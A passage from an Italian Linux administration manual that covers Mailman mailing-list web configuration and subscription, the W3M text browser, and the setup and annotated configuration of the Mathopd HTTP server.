An introductory description - a few paragraphs - about the list. It will be included, as html, at the top of the listinfo page. Carriage returns will end a paragraph - see the details for more info. (Details)	
Prefix for subject line of list postings. (Details)	[Prova]
List-specific text prepended to new-subscriber welcome message (Details)	
Text sent to people leaving the list. If empty, no special text will be added to the unsubscribe message. (Details)	
Where are replies to list messages directed? Poster is strongly recommended for most mailing lists. (Details)	(*) Poster ( ) This list ( ) Explicit address
Explicit Reply-To: header. (Details)	
(Administrivia filter) Check postings and intercept ones that seem to be administrative requests? (Details)	( ) No (*) Yes
Send password reminders to, eg, "-owner" address instead of directly to user. (Details)	(*) No ( ) Yes
Suffix for use when this list is an umbrella for other lists, according to setting of previous "umbrella_list" setting. (Details)	-owner
Send monthly password reminders or no? Overrides	( ) No (*) Yes

```
             the previous option.
                        (Details)
          Send welcome message when   ( ) No (*) Yes
        people subscribe? (Details)
            Should administrator get
             immediate notice of new
         requests, as well as daily   ( ) No (*) Yes
             notices about collected
                     ones? (Details)
            Should administrator get
                         notices of   (*) No ( ) Yes
            subscribes/unsubscribes?
                           (Details)
            Send mail to poster when
           their posting is held for  (*) Yes ( ) No
                 approval? (Details)
           Maximum length in Kb of a
          message body. Use 0 for no  40______
                    limit. (Details)
       Host name this list prefers.   dinkel.brot.dg____________________________
                           (Details)
            Base URL for Mailman web
        interface. The URL must end
          in a single "/". See also   http://dinkel.brot.dg/cgi-bin/mailman/____
       the details for an important
          warning when changing this
                    value. (Details)

                       To Change The Administrator Password
 +-----------------------------------+ +-----------------------------------+
 |   Enter current|__________________| |       Enter new|__________________|
 |       password:|                  | |       password:|                  |
 +-----------------------------------+ |----------------+------------------|
                                       |     Confirm new|__________________|
                                       |       password:|                  |
                                       +-----------------------------------+

                             [ Submit Your Changes ]
```

Quello che si vede sopra riguarda solo la configurazione generale, mentre sono disponibili altre voci per altre caratteristiche da configurare.

Al termine del lavoro, è bene indicare a Mailman la conclusione dell'attività selezionando la voce '**`logout`**'.

45.17.2.5 Accesso alla lista da parte degli utilizzatori normali

Gli utenti che possono avere interesse a iscriversi a una lista di quelle amministrate devono raggiungere l'indirizzo *http://dinkel.brot.dg/cgi-bin/mailman/listinfo*:

```
dinkel.brot.dg Mailing Lists
Welcome!

Below is a listing of all the public mailing lists on dinkel.brot.dg.
Click on a list name to get more information about the list, or to
subscribe, unsubscribe, and change the preferences on your subscription.
To visit the info page for an unadvertised list, open a URL similar to
this one, but with a '/' and the list name appended.

List administrators, you can visit the list admin overview page to find
the management interface for your list.

(Send questions or comments to mailman-owner@dinkel.brot.dg.)

List                        Description
Prova                       [no description available]
```

Seguendo il riferimento ipertestuale corrispondente al nome della lista a cui si è interessati, si arriva alla pagina dalla quale ci si può iscrivere:

```
About Prova
To see the collection of prior postings to the list, visit the Prova
Archives.
Using Prova
To post a message to all the list members, send email to
prova@dinkel.brot.dg.

You can subscribe to the list, or change your existing subscription, in
the sections below.
Subscribing to Prova
Subscribe to Prova by filling out the following form. You will be sent
email requesting confirmation, to prevent others from gratuitously
subscribing you. This is a public list, which means that the members
list is openly available (but we obscure the addresses so they are not
easily recognizable by spammers).

  Your email    ________________________________
  address:
  You must enter a privacy password. This provides
  only mild security, but should prevent others
  from messing with your subscription. Do not use a
  valuable password as it will occasionally be
  emailed back to you in cleartext. Once a month,
  your password will be emailed to you as a
  reminder.
  Pick a        ________________
  password:
```

```
      Reenter
      password to   ________________
      confirm:
      Would you
      like to
      receive list  (*) No ( ) Yes
      mail batched
      in a daily
      digest?
                      [ Subscribe ]
    Prova Subscribers
    Click here for the list of Prova subscribers: [ Visit Subscriber list ]

    To change your subscription (set options like digest and delivery modes,
    get a reminder of your password, or unsubscribe from Prova), either
    enter your subscription email address:

                ______________________________ [ Edit Options ]

    ... or select your entry from the subscribers list (see above).
```

Chi si iscrive, indicando l'indirizzo di posta elettronica e la parola d'ordine per poter gestire la propria configurazione personale, viene richiesta successivamente una conferma via posta elettronica, simile a questa:

```
From: prova-request@dinkel.brot.dg
To: daniele@dinkel.brot.dg
Reply-To: prova-request@dinkel.brot.dg
Subject: Prova -- confirmation of subscription -- request 779881

Prova -- confirmation of subscription -- request 779881

We have received a request from 192.168.1.1 for subscription of your
email address, <daniele@dinkel.brot.dg>, to the prova@dinkel.brot.dg
mailing list.  To confirm the request, please send a message to
prova-request@dinkel.brot.dg, and either:

- maintain the subject line as is (the reply's additional "Re:" is
ok),

- or include the following line - and only the following line - in the
message body:

confirm 779881

(Simply sending a 'reply' to this message should work from most email
interfaces, since that usually leaves the subject line in the right
form.)
```

```
If you do not wish to subscribe to this list, please simply disregard
this message.  Send questions to prova-admin@dinkel.brot.dg.
```

Di solito è sufficiente rispondere a questo messaggio, senza includere il testo precedente per ottenere l'iscrizione. A iscrizione avvenuta si riceve un messaggio di conferma, in cui è annotata la parola d'ordine che è stata definita per la personalizzazione dell'iscrizione alla lista; in seguito si riceve mensilmente un promemoria del genere.

Per accedere alla gestione della configurazione personalizzata, si parte dalla stessa pagina già vista in precedenza, mettendo soltanto il proprio indirizzo di posta elettronica nella parte inferiore:

```
      About Prova
      …
      …
      Prova Subscribers
      Click here for the list of Prova subscribers: [ Visit Subscriber list ]

      To change your subscription (set options like digest and delivery modes,
      get a reminder of your password, or unsubscribe from Prova), either
      enter your subscription email address:

                  _______________________________ [ Edit Options ]

      ... or select your entry from the subscribers list (see above).
```

Da lì si accede a una pagina in cui è possibile richiedere la cancellazione dalla lista o la modifica delle caratteristiche configurabili, con l'inserimento della parola d'ordine personale.

45.18 Riferimenti

- Olaf Kirch, *NAG, The Linux Network Administrators' Guide*
- Doug Muth, *The SPAM-L FAQ*

  ⟨http://www.dmuth.org/spam-l⟩
- *Rlytest: test mail host for third-party relay*

  ⟨http://www.unicom.com/sw/rlytest⟩

[1] **Sendmail** software non libero: non è consentita la commercializzazione a scopo di lucro

[2] La tradizione richiede che l'eseguibile '**`sendmail`**' sia collocato nella directory '`/usr/lib/`', ma dal momento che questo fatto va in contrasto con la logica di una gerarchia ordinata del file system, in pratica si tratta solitamente di un collegamento simbolico a un eseguibile che si trova in una posizione più appropriata.

[3] **Mailx** UCB BSD

[4] **Nail** UCB BSD e altre

[5] **Mutt** GNU GPL

[6] **Grepmail** GNU GPL

[7] **IMAP toolkit** software libero con licenza speciale

[8] **Popclient** GNU GPL

[9] È questo punto che può rendere vantaggioso l'utilizzo di Popclient al posto di Fetchmail.

[10] **Fetchmail** GNU GPL

[11] **GNU Sharutils** GNU GPL

[12] L'esempio proviene da un caso accaduto realmente, senza che sia stato possibile chiarire il motivo della composizione errata. Viene proposto questo esempio perché reale, anche se incompleto, considerato il fatto che il mittente e il destinatario sono stati sostituiti, inoltre alcune informazioni sono state eliminate dal messaggio.

[13] **Mpack** software libero con licenza speciale

[14] In realtà la dimensione indicata con questa opzione è solo un riferimento approssimato, dal momento che i messaggi di posta elettronica e di Usenet tendono a espandersi, mano a mano che si aggiungono informazioni sul loro percorso.

[15] **Procmail** GNU GPL o Artistic

[16] **Mailman** GNU GPL

[17] Sono disponibili anche altri comandi, ma in generale è più semplice il controllo attraverso l'interfaccia dei programmi CGI.

[18] Come spiega Mailman stesso, è necessario che il navigatore sia in grado di accettare i *cookie*.

Capitolo 46

HTTP

46.1 W3M 2545
46.2 Servente HTTP: Mathopd 2546
46.2.1 Utilizzo generale 2546
46.2.2 Configurazione 2548
46.2.3 Indici delle directory 2557
46.2.4 Registro degli accessi 2559
46.3 Protocollo HTTP 2561
46.3.1 Analisi di una connessione HTTP 2562
46.3.2 Tipi MIME 2564
46.3.3 Campi di richiesta 2565
46.3.4 Campi di risposta 2565
46.4 HTTP e CGI 2566
46.4.1 URI e query 2567
46.4.2 Input dell'utente 2568
46.4.3 Primo approccio alla programmazione CGI 2569
46.4.4 Percorso aggiuntivo 2572
46.4.5 Elementi «FORM» 2572
46.4.6 Elementi dell'ambiente «FORM» 2573
46.4.7 Metodi e variabili 2578
46.5 Programmazione CGI 2584
46.5.1 Problemi 2584
46.5.2 Decodifica 2585
46.5.3 Esempi elementari di applicazioni CGI 2588
46.5.4 Librerie CGI già pronte 2596
46.6 Indicizzazione e motori di ricerca 2596
46.6.1 Configurazione e scansione periodica 2597
46.6.2 Interrogazione del motore di ricerca 2598
46.6.3 Configurazioni multiple 2601
46.7 Statistiche di accesso 2602
46.7.1 Webalizer 2604
46.8 Wget 2610
46.8.1 Forma dell'URI 2611
46.8.2 File di configurazione 2611

46.8.3 Utilizzo del programma 2612
46.8.4 Scansione a partire da un file locale 2614
46.8.5 Scansione ricorsiva 2615
46.8.6 Selezione dei file in base al loro nome 2617
46.8.7 Identificazioni e parole d'ordine 2618
46.8.8 Riproduzione speculare e informazioni data-orario 2618
46.8.9 Funzionalità varie 2619

46.9 Riferimenti 2620

`.wgetrc` 2611 `access.log` 2546 `error.log` 2546 `htdig` 2596 `htdig.conf` 2597 `htdigconfig` 2597 `htsearch` 2598 `mathopd` 2546 `mathopd.conf` 2548 `mathopd.pid` 2546 `rundig` 2597 `w3m` 2545 `webalizer` 2604 `webalizer.conf` 2604 `wget` 2610 `wgetrc` 2611

Il modo più comune per diffondere informazioni attraverso la rete è quello di utilizzare un servente HTTP (*Hypertext transfer protocol*). Le informazioni pubblicate in questo modo sono rivolte a tutti gli utenti che possono raggiungere il servizio, nel senso che normalmente non viene richiesta alcuna identificazione: al massimo si impedisce o si concede l'accesso in base al meccanismo di filtro gestito dal supervisore dei servizi di rete o dal TCP wrapper.

Per offrire un servizio HTTP occorre un programma in grado di gestirlo, di solito in forma di demone. Analogamente al servizio FTP anonimo, il servente HTTP consente l'accesso a una directory particolare e alle sue discendenti; questa directory viene identificata spesso con il nome *document root*. Quando il servente HTTP è in grado di distinguere con quale nome di dominio è stato raggiunto il servizio e, in base a tale nome, offre l'accesso a una directory differente, si dice che distingue tra i ***domini virtuali***.

Un servente HTTP non offre solo un servizio di semplice consultazione di documenti: permette anche di interpellare dei programmi. Questi programmi sono collocati normalmente al di fuori della directory da cui si diramano i documenti (HTML o di altro tipo), per evitare che questi possano essere letti. In questo contesto, tali programmi sono definiti ***gateway*** e normalmente vengono chiamati ***programmi CGI***, o *cgi-bin*. Ma l'avvio di programmi implica l'attribuzione di privilegi: di solito si fa in modo che questi funzionino utilizzando la personalità di un utente fittizio apposito ('**`www`**', '**`nobody`**' o simile), per evitare che possano compiere più azioni del necessario.

Secondo le consuetudini, normalmente si configura il servente HTTP in modo da non consentire la lettura del contenuto delle directory. In pratica, se si indica un indirizzo che rappresenta una directory, si ottiene invece un file predefinito, corrispondente di solito a '`index.html`' (o qualcosa di simile), contenuto nella directory richiesta; tuttavia, se questo è assente, non si ottiene alcunché.

Per poter usufruire di un servizio HTTP occorre un programma cliente adatto. In generale, tale programma cliente è in grado di accedere anche ad altri servizi, pertanto, in questo senso viene definito semplicemente «navigatore». Il programma di navigazione tipico dovrebbe consentire anche la visualizzazione di immagini e la fruizione di altri contenuti multimediali, ma un buon programma che utilizza soltanto un terminale a caratteri può funzionare in qualunque condizione, quindi, tale possibilità non deve essere scartata a priori.

Riquadro 46.1. *Uniform resource locator*, *Uniform resource identifier*

L'integrazione di diversi protocolli impone l'utilizzo di un sistema uniforme per indicare gli indirizzi, per poter conoscere subito in che modo si deve effettuare il collegamento. Per questo, quando si utilizza un navigatore, si devono usare indirizzi espressi in modo standard, precisamente secondo il formato URI, o *Uniform resource identifier*. Attualmente, è ancora in uso la vecchia definizione, URL, *Uniform resource locator*, la quale rappresenta un sottoinsieme di URI. Attraverso questa modalità, è possibile definire tutto quello che serve per raggiungere una risorsa: protocollo, nodo di rete (*host*), porta, percorso. Il formato generale di un URI è descritto nella sezione 66.1.

46.1 W3M

W3M[1] è un navigatore fatto per i terminali a caratteri, senza grafica, che però funziona correttamente con la codifica UTF-8 e ha una buona resa delle tabelle.

W3M si compone in pratica dell'eseguibile '**`w3m`**':

```
w3m [opzioni] risorsa_iniziale
```

Il file iniziale va indicato in forma di URI; eventualmente, se si tratta di file locali si può indicare il percorso senza URI.

Durante il funzionamento di W3M, la navigazione con la tastiera è abbastanza intuitiva e sono disponibili anche altri comandi molto interessanti. Si veda la tabella 46.2.

Tabella 46.2. Alcuni dei comandi di W3M.

Tastiera	Descrizione
[*H*]	Mostra il riepilogo dei comandi di navigazione.
[*pagina-su*], [*b*], [*Esc*][*v*]	Fa scorrere il testo all'indietro di una schermata.
[*pagina-giù*], [*spazio*], [*Ctrl v*]	Fa scorrere il testo in avanti di una schermata.
[*freccia-su*], [*Ctrl p*], [*k*]	Porta il cursore sulla riga precedente.
[*freccia-giù*], [*Ctrl n*], [*j*]	Porta il cursore sulla riga successiva.
[*Ctrl b*], [*h*]	Porta il cursore sul carattere precedente.
[*Ctrl f*], [*l*]	Porta il cursore sul carattere successivo.
[*J*]	Fa scorrere il testo in alto di riga.
[*K*]	Fa scorrere il testo in basso di riga.
[<]	Fa scorrere il testo verso sinistra.
[>]	Fa scorrere il testo verso destra.
[,]	Fa scorrere il testo verso sinistra di una sola colonna.
[.]	Fa scorrere il testo verso destra di una sola colonna.
[*Inizio*], [*g*]	Raggiunge l'inizio del file.
[*Fine*], [*G*]	Raggiunge la fine del file.
[*Ctrl u*], [*Esc*][*Tab*]	Raggiunge il riferimento ipertestuale precedente.
[*Tab*]	Raggiunge il riferimento ipertestuale successivo.
[*Invio*]	Accede al riferimento ipertestuale su cui si trova il cursore.
[*a*], [*Esc*][*Invio*]	Salva il riferimento ipertestuale in un file.
[*u*]	Mostra alla base dello schermo l'URI corrispondente al riferimento ipertestuale su cui si trova il cursore.
[*c*]	Mostra alla base dello schermo l'URI attuale.
[=]	Mostra le informazioni sull'URI attuale.
[*F*]	Cerca di elaborare una cornice (*frame*).
[*U*]	Permette di accedere a un URI da inserire manualmente.
[*F*]	Permette di accedere a un file da indicare manualmente.
[*R*]	Ricarica il documento.

Tastiera	Descrizione
[*S*]	Salva il documento su un file, come lo si vede sullo schermo.
[*Esc*][*s*]	Salva il documento su un file in forma originale.
[*s*]	Seleziona uno dei documenti visitati di recente.
[*o*]	Accede a una maschera di opzioni di funzionamento.
[*Ctrl s*], [/]	Richiede l'inserimento di una stringa di ricerca nella pagina attuale.
[*Ctrl r*], [?]	Come [/], ma ricerca all'indietro.
[*n*]	Continua la ricerca in avanti.
[*N*]	Continua la ricerca all'indietro.
[*q*]	Conclude il funzionamento chiedendo conferma.
[*Q*]	Conclude il funzionamento senza chiedere conferma.

W3M può essere avviato utilizzando diverse opzioni nella riga di comando. Tuttavia, di solito queste non si usano, potendo intervenire nel suo funzionamento attraverso il comando [*o*].

46.2 Servente HTTP: Mathopd

Mathopd[2] è un servente HTTP fatto per impegnare poche risorse, offrendo un insieme ragionevole di possibilità di configurazione.

Mathopd, da solo, non è in grado di mostrare il contenuto delle directory, in mancanza di un indice, inoltre produce un registro (log) che non è conforme agli standard, costituito di solito dal formato CLF (*Common log format*) o da quello combinato (sezione 46.7), ma è possibile rimediare a queste carenze con degli script o dei piccoli programmi di contorno.

Mathopd si compone del programma eseguibile '**`mathopd`**' che richiede un file di configurazione, corrispondente normalmente al file '`/etc/mathopd.conf`'. Il programma è fatto per funzionare da solo, fuori dal controllo del supervisore dei servizi di rete, senza bisogno di avviare altre copie di se stesso.

46.2.1 Utilizzo generale

Mathopd è un servente HTTP molto «particolare», a cominciare dalla sintassi per l'avvio del programma '**`mathopd`**':

`mathopd` [***opzioni***] `-f` ***file_di_configurazione***

Come si può osservare dal modello sintattico proposto, risulta obbligatorio indicare il file di configurazione con l'opzione '**`-f`**', perché in mancanza di questa informazione, il programma si aspetta di ricevere la configurazione dallo standard input.

Attraverso le altre opzioni che si trovano descritte nella pagina di manuale *mathopd(8)* è possibile controllare il funzionamento del servente per obbligarlo a funzionare in primo piano o a fornire informazioni diagnostiche. Attraverso una serie di segnali, è possibile attivare e disattivare delle funzionalità diagnostiche o intervenire sugli accessi in corso. In particolare, se il programma servente riceve il segnale SIGHUP rilegge la configurazione, mentre con SIGTERM o SIGINT termina di funzionare. A questo proposito, in un sistema GNU/Linux il servizio potrebbe essere controllato con uno script simile all'esempio seguente:

```
#! /bin/sh

case "$1" in
    start)
        echo "Avvio del servizio HTTP."
        /usr/sbin/mathopd -f /etc/mathopd.conf
        ;;
    stop)
        echo "Arresto del servizio HTTP."
        killall -s SIGTERM mathopd
        ;;
    reload)
        echo "Rilettura della configurazione del servizio HTTP."
        killall -s SIGHUP mathopd
        ;;
    *)
        echo "Utilizzo: /etc/init.d/mathopd {start|stop|reload}"
        exit 1
esac

exit 0
```

Durante il suo funzionamento, Mathopd ha la necessità di scrivere su tre file, che in condizioni normali coincidono con l'elenco seguente; tuttavia, si può modificare la collocazione e il nome di questi file intervenendo nella configurazione:

'`/var/run/mathopd.pid`'	contiene il numero del processo elaborativo (PID);
'`/var/mathopd/access.log`'	registro degli accessi;
'`/var/mathopd/error.log`'	registro degli errori.

A questo punto, sapendo che Mathopd annota il numero del processo elaborativo nel file '`/var/run/mathopd.pid`', o in qualunque altro file specificato nella configurazione, si può migliorare lo script di controllo del servizio in questo modo, rendendolo adatto a un sistema GNU qualsiasi:

```
#! /bin/sh

case "$1" in
    start)
        echo "Avvio del servizio HTTP."
        /usr/sbin/mathopd -f /etc/mathopd.conf
        ;;
    stop)
        echo "Arresto del servizio HTTP."
        kill -s SIGTERM `cat /var/run/mathopd.pid`
        ;;
    reload)
        echo "Rilettura della configurazione del servizio HTTP."
        kill -s SIGHUP `cat /var/run/mathopd.pid`
        ;;
    *)
        echo "Utilizzo: /etc/init.d/mathopd {start|stop|reload}"
        exit 1
esac

exit 0
```

46.2.2 Configurazione

Come già spiegato, non esiste una posizione prestabilita del file di configurazione, cosa che deve essere specificata obbligatoriamente attraverso la riga di comando. Tuttavia, una posizione abbastanza logica per collocare questa configurazione è costituita dal file '`/etc/mathopd.conf`', a cui si fa riferimento in generale nel capitolo; inoltre la pagina di manuale che descrive la sintassi di questo file dovrebbe essere *mathopd.conf(5)*.

Il file di configurazione è un file di testo in cui le righe bianche o vuote vengono ignorate, così come viene ignorato il testo di una riga che appare dopo il simbolo '**#**'. Le direttive possono essere «semplici», a indicare ognuna l'attribuzione di un valore a un certo parametro di funzionamento, oppure possono essere dei blocchi di direttive. Un blocco, a sua volta, può contenere sia direttive semplici, sia blocchi ulteriori:

nome valore_attributo

```
nome {
    direttiva
    ...
}
```

Come si può intendere, il primo modello si riferisce a una direttiva semplice, mentre il secondo mostra la dichiarazione di un blocco. Naturalmente, le parentesi graffe del secondo modello

sintattico servono a delimitare l'insieme di direttive contenute nel blocco, pertanto sono da intendersi in senso letterale.

Ci sono direttive semplici che possono stare da sole senza essere inserite in un blocco particolare, mentre nella maggior parte dei casi, queste direttive semplici hanno valore solo nel contesto di un blocco specifico. Tutto questo è comunque abbastanza intuitivo, pertanto si intende mostrare qui la configurazione solo attraverso degli esempi; per approfondire la questione si deve leggere la pagina di manuale *mathopd.conf(5)*.

```
1   Umask 026
2
3   Tuning {
4           NumConnections 64
5           BufSize 12288
6           InputBufSize 2048
7           ScriptBufSize 4096
8           NumHeaders 100
9           Timeout 240
10          ScriptTimeout 120
11  }
12
13  User www-data
14  StayRoot Off
15
16  PIDFile /var/run/mathopd.pid
17  Log /var/log/mathopd/access.log
18  ErrorLog /var/log/mathopd/error.log
19
20  Control {
21          ScriptUser nobody
22          ChildLog /var/log/mathopd/child.log
23          Types {
24                  text/html { html htm }
25                  text/plain { txt }
26                  image/gif { gif }
27                  image/jpeg { jpg }
28                  image/png { png }
29                  text/css { css }
30                  audio/midi { mid midi kar }
31                  application/octet-stream { * }
32          }
33          External {
34                  /usr/bin/php { php }
35          }
36          IndexNames { index.html index.htm }
37  }
38
39  Server {
40          Port 80
```

```
41            Address 0.0.0.0
42            Virtual {
43                    AnyHost
44                    Control {
45                            Alias /
46                            Location /var/www
47                            Access {
48                                    Allow 0/0
49                            }
50                    }
51                    Control {
52                            Alias /cgi-bin
53                            Location /usr/lib/cgi-bin
54                            Specials {
55                                    CGI { * }
56                            }
57                            Access {
58                                    Allow 0/0
59                            }
60                    }
61                    Control {
62                            Alias /~
63                            Location public_html
64                            UserDirectory On
65                            RunScriptsAsOwner On
66                            Access {
67                                    Allow 0/0
68                            }
69                    }
70                    Control {
71                            Alias /~root
72                            Location /nosuchdirectory
73                            Access {
74                                    Deny 0/0
75                                    Allow 127.0.0.1/32
76                            }
77                    }
78                    Control {
79                            Alias /doc
80                            Location /usr/share/doc
81                            Access {
82                                    Deny 0/0
83                                    Allow 127.0.0.1/32
84                            }
85                    }
86                    Control {
87                            Alias /dwww
```

```
88                        Location /var/lib/dwww/html
89                        Access {
90                                Deny 0/0
91                                Allow 127.0.0.1/32
92                        }
93                }
94        }
95 }
```

L'esempio appena mostrato riguarda una situazione abbastanza comune, dove si gestisce un solo dominio virtuale e il materiale pubblicato è generalmente disponibile a tutti. Per maggiore comodità, l'esempio viene sezionato durante la sua descrizione.

```
1  Umask 026
```

Questa direttiva iniziale, che non è racchiusa in alcun gruppo, dichiara la maschera dei permessi che si vuole sia usata per i file che Mathopd va a creare. In questo caso, viene tolto il permesso di scrittura al gruppo (2_8) e vengono tolti i permessi di lettura e scrittura agli utenti che non sono né il proprietario del file, né gli utenti del gruppo a cui questo è associato (6_8). In pratica, sapendo che non può entrare in gioco il permesso di esecuzione, il proprietario può leggere e modificare i file, mentre il gruppo può solo leggere.

```
3  Tuning {
4          NumConnections 64
5          BufSize 12288
6          InputBufSize 2048
7          ScriptBufSize 4096
8          NumHeaders 100
9          Timeout 240
10         ScriptTimeout 120
11 }
```

Il raggruppamento denominato '**`Tuning`**' consente di inserire alcune direttive che regolano il funzionamento generale. Il significato di queste può risultare abbastanza intuitivo; in particolare viene definito il numero massimo di connessioni simultanee (in questo caso sono 64) e la scadenza, sia per le connessioni, sia per l'esecuzione di un programma CGI (nell'esempio, le connessioni scadono dopo 240 s, mentre i programmi CGI devono concludersi entro 120 s).

Sulla base dei valori assegnati a queste direttive, è possibile calcolare la quantità di memoria utilizzata da Mathopd:

$$NumConnections \cdot BufSize + InputBufSize + 2 \cdot ScriptBufSize$$

```
13 User www-data
```

Quando Mathopd viene avviato con i privilegi dell'utente '**`root`**', si deve utilizzare questa direttiva per fare in modo che, subito dopo l'avvio, il programma servente passi ai privilegi dell'utente indicato. In questo modo, tra le altre cose, i file che Mathopd utilizza devono essere accessibili a tale utente. Questo problema vale sia per i documenti da pubblicare, sia per i programmi da eseguire, sia per i file delle registrazioni. Il gruppo non viene specificato e

questo dipende dal tipo di adattamento particolare di Mathopd (in un sistema GNU dovrebbe trattarsi del gruppo abbinato naturalmente all'utente indicato).

```
14  StayRoot Off
```

Questa direttiva, se attiva, fa sì che alcune funzioni di Mathopd vengano eseguite con i privilegi dell'utente '**`root`**', nonostante sia usata la direttiva '**`User`**'. In certi casi, ciò può essere utile, ma in generale è meglio evitare questo.

```
16  PIDFile /var/run/mathopd.pid
17  Log /var/log/mathopd/access.log
18  ErrorLog /var/log/mathopd/error.log
```

Queste direttive permettono di stabilire la collocazione dei file usati per annotare il numero PID del programma servente e per i file delle registrazioni.

```
20  Control {
21          ScriptUser nobody
22          ChildLog /var/log/mathopd/child.log
```

Il gruppo '**`Control`**' serve a raggruppare delle direttive che controllano il comportamento del servente. Quando il gruppo si trova in un contesto generale (al di fuori di qualunque altro blocco), le direttive valgono per ogni situazione, salva la possibilità di ridefinire i parametri in contesti più specifici.

All'inizio del gruppo '**`Control`**' si vedono due direttive; la prima dichiara con quali privilegi debbano essere eseguiti i programmi CGI, ma per funzionare è necessario che la direttiva '**`StayRoot`**' sia attiva; pertanto, in questo caso la richiesta di eseguire i programmi CGI con i privilegi dell'utente '**`nobody`**' non può essere soddisfatta. La seconda direttiva che si vede dichiara un file nel quale annotare quanto emesso attraverso lo standard error dai programmi CGI. In mancanza di questa direttiva, tali messaggi vengono perduti (la parola *child* fa riferimento al fatto che i programmi CGI sono processi elaborativi discendenti da quello del servente).

```
23          Types {
24                  text/html { html htm }
25                  text/plain { txt }
26                  image/gif { gif }
27                  image/jpeg { jpg }
28                  image/png { png }
29                  text/css { css }
30                  audio/midi { mid midi kar }
31                  application/octet-stream { * }
32          }
```

Il gruppo '**`Types`**' è necessario per dichiarare i tipi di file in base all'estensione. Come si può vedere, i file HTML vengono riconosciuti in base all'estensione '**`html`**' o anche solo '**`htm`**'. L'ultima direttiva di questo gruppo deve indicare un tipo adatto a descrivere i file che hanno estensioni differenti da quelle previste espressamente (l'asterisco serve a indicare qualunque estensione). Purtroppo, questo è un limite importante di Mathopd, non essendo in grado di individuare i file di testo senza estensione, a meno di usare tale dichiarazione per ultima.

Per la precisione, l'estensione indicata non implica automaticamente la presenza di un punto, pertanto, può essere più corretto aggiungere questo punto nell'estensione stessa. A titolo di esempio, l'elenco dei tipi potrebbe essere esteso come nell'estratto seguente:

```
Types {
        application/ogg                         { .ogg }
        application/pdf                         { .pdf }
        application/postscript                  { .ps .ai .eps }
        application/rtf                         { .rtf }
        application/xhtml+xml                   { .xht .xhtml }
        application/zip                         { .zip }
        application/x-cpio                      { .cpio }
        application/x-debian-package            { .deb }
        application/x-dvi                       { .dvi }
        application/x-gtar                      { .gtar .tgz .taz }
        application/x-redhat-package-manager    { .rpm }
        application/x-tar                       { .tar }
        audio/midi                              { .mid .midi .kar }
        audio/mpeg                              { .mpga .mpega
                                                  .mp2 .mp3 .m4a }
        audio/x-mpegurl                         { .m3u }
        audio/x-wav                             { .wav }
        image/gif                               { .gif }
        image/jpeg                              { .jpeg .jpg .jpe }
        image/pcx                               { .pcx }
        image/png                               { .png }
        image/tiff                              { .tiff .tif }
        text/css                                { .css }
        text/html                               { .htm .html .shtml }
        text/plain                              { .asc .txt .text
                                                  .diff .pot
                                                  readme README
                                                  LEGGIMI
                                                  COPYRIGHT
                                                  COPYING }
        text/rtf                                { .rtf }
        text/xml                                { .xml .xsl }
        video/fli                               { .fli }
        video/mpeg                              { .mpeg .mpg .mpe .mp4 }
        video/quicktime                         { .qt .mov }
        video/x-ms-asf                          { .asf .asx }
        video/x-msvideo                         { .avi }

        application/octet-stream                { * }
}
```

Evidentemente, date le caratteristiche di Mathopd, conviene estendere questo elenco solo quando si presenta la necessità, in base ai contenuti dei documenti pubblicati.

```
33          External {
34                  /usr/bin/php { php }
35          }
```

Il gruppo '**External**' serve a delimitare delle direttive che dichiarano l'uso di un programma interprete per eseguire i file con le estensioni indicate. In questo caso, quando si incontra un file con estensione 'php', questo viene eseguito attraverso il programma '/usr/bin/php'. Come già per le direttive del gruppo '**Types**', può essere più conveniente aggiungere il punto che precede l'estensione, come nell'esempio seguente dove però vengono aggiunte altre estensioni equivalenti:

```
        External {
                /usr/bin/php    { .php .phtml .pht }
        }
```

Si osservi che per quanto riguarda gli script che hanno i permessi per essere eseguibili, si attivano attraverso un'altra direttiva nel gruppo '**Specials**', come nell'esempio successivo, che suppone si inserisca all'interno del gruppo '**Control**' principale:

```
        Specials {
                CGI             { .cgi .sh .pl }
        }
```

Come si può intuire, in questo esempio si intenderebbe dichiarare come programmi esterni i file che terminano per '.cgi', '.sh' e '**.pl**'. Nell'esempio complessivo questo caso è stato escluso, per dichiarare piuttosto l'uso del gruppo '**Special**' nell'ambito di un percorso specifico.

```
36          IndexNames { index.html index.htm }
```

Questa direttiva dichiara quali file usare come indici delle directory.

```
39  Server {
40          Port 80
41          Address 0.0.0.0
```

Il gruppo '**Server**' contiene direttive riferite a un servente HTTP in ascolto in una certa porta, per tutti o solo per un certo indirizzo IP. Nell'esempio si attiva un servente in ascolto della porta 80, il quale accetta connessioni da qualunque indirizzo IPv4.

```
42          Virtual {
43                  AnyHost
```

Il gruppo '**Virtual**' serve a delimitare un insieme di direttive relativo a un certo dominio virtuale. In questo caso, con la direttiva '**AnyHost**' si specifica che il gruppo riguarda qualunque dominio che non sia stato individuato in modo più dettagliato.

```
44                      Control {
45                              Alias /
46                              Location /var/www
47                              Access {
48                                      Allow 0/0
49                              }
50                      }
```

All'interno dei gruppi '**Virtual**' si indicano dei gruppi '**Control**' per individuare dei percorsi, a cui associare dei comportamenti. In questo caso, si dichiara il percorso iniziale del dominio, che corrisponde nel file system alla directory '`/var/www/`'. Come si può intuire, nel gruppo '**Access**' viene concesso espressamente l'accesso da qualunque indirizzo.

```
51                      Control {
52                              Alias /cgi-bin
53                              Location /usr/lib/cgi-bin
54                              Specials {
55                                      CGI { * }
56                              }
57                              Access {
58                                      Allow 0/0
59                              }
60                      }
```

Il gruppo '**Control**' successivo nell'esempio iniziale, ha lo scopo di associare il percorso ***dominio*** `/cgi-bin/` alla directory locale '`/usr/lib/cgi-bin/`', specificando che ogni file contenuto al suo interno è da intendere un programma CGI. Anche in questo caso viene concesso l'accesso a chiunque.

```
61                      Control {
62                              Alias /~
63                              Location public_html
64                              UserDirectory On
65                              RunScriptsAsOwner On
66                              Access {
67                                      Allow 0/0
68                              }
69                      }
70                      Control {
71                              Alias /~root
72                              Location /nosuchdirectory
73                              Access {
74                                      Deny 0/0
75                                      Allow 127.0.0.1/32
76                              }
77                      }
```

Qui si dichiara l'accessibilità alla directory personale di ogni utente. Come si fa normalmente,

gli accessi riguardano precisamente la directory '~/public_html/' e ciò che questa contiene. Teoricamente, in base alla direttiva '**RunScriptsAsOwner**', che risulta attiva, i programmi CGI contenuti all'interno della gerarchia degli utenti, dovrebbero essere eseguiti con i privilegi degli utenti stessi. In pratica, dal momento che in precedenza il parametro associato alla direttiva '**StayRoot**' è stato disattivato, l'attivazione di '**RunScriptsAsOwner**' diventa priva di significato.

